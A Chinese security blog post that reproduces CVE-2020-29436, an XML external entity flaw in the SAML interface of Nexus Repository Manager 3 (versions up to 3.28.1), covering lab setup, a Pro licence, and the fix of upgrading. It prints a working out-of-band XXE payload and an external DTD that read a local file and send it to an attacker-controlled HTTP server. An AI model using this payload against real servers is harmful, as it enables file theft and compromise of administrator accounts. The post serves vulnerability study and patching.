前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-29436:Nexus3 XML外部实体注入复现

CVE-2020-29436:Nexus3 XML外部实体注入复现

作者头像
Timeline Sec
发布2021-01-05 14:38:22
1.1K0
发布2021-01-05 14:38:22
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

Nexus Repository Manager 3是一款通用的软件包仓库管理(Universal Repository Manager)服务。

0x02 漏洞概述

编号:CVE-2020-29436

/service/rest/internal/ui/saml接口允许加载外部dtd。攻击者能够利用该漏洞获取Nexus Repository Manager 3的管理员帐户,从而可以配置系统、查看文件系统上的文件,获取敏感信息。

0x03 影响版本

Nexus Repository Manager 3 <= 3.28.1

0x04 环境搭建

本地环境需要JDK 1.8以上

官网下载:

代码语言:javascript
复制
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3

本次复现使用版本为3.28.1

解压后,到nexus-3.28.1-01\bin目录下

命令行运行:nexus.exe /run

稍等一会,出现下图,表示启动成功

访问管理后台:http://localhost:8081/

点击登录,输入默认口令:admin/admin123

登陆失败,百度一下:

代码语言:javascript
复制
cd /sonatype-work/nexus3

找到admin.password,密码就是那一串字符:

哦~,原来是不让使用默认密码,也访问不了saml接口,只有pro版本才可以

然后去下载pro版本的证书(此处一定要用火狐浏览器,Google快把我整废)

代码语言:javascript
复制
https://www.sonatype.com/nexus/repository-pro/trial

下载好证书文件

安装证书

证书安装成功后如下图所示

接着服务器重启服务,可以看到版本已经变成了pro

0x05 漏洞复现

访问:

http://yourhost:8081/#admin/security/saml

在填入payload之前先用python起一个http服务

并在http服务的目录下写一个my.dtd文件,文件内容为:

代码语言:javascript
复制
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM '%file;'>"
>
%all;

接着将payload填入到文本框中

代码语言:javascript
复制
<!DOCTYPE ANY [
         % file SYSTEM "file:///C:/Windows/win.ini">
         % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

拦截数据包再次发送

得到ini文件内容,dtd文件被加载

0x06 修复方式

及时升级到最新版本。

0x07 总结

在即将跪下的前一刻,站起来。

代码语言:javascript
复制
参考链接:

https://paper.seebug.org/1431/

https://blog.csdn.net/cuncaojin/article/details/81270897

https://www.jianshu.com/p/fcb128e34c87

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档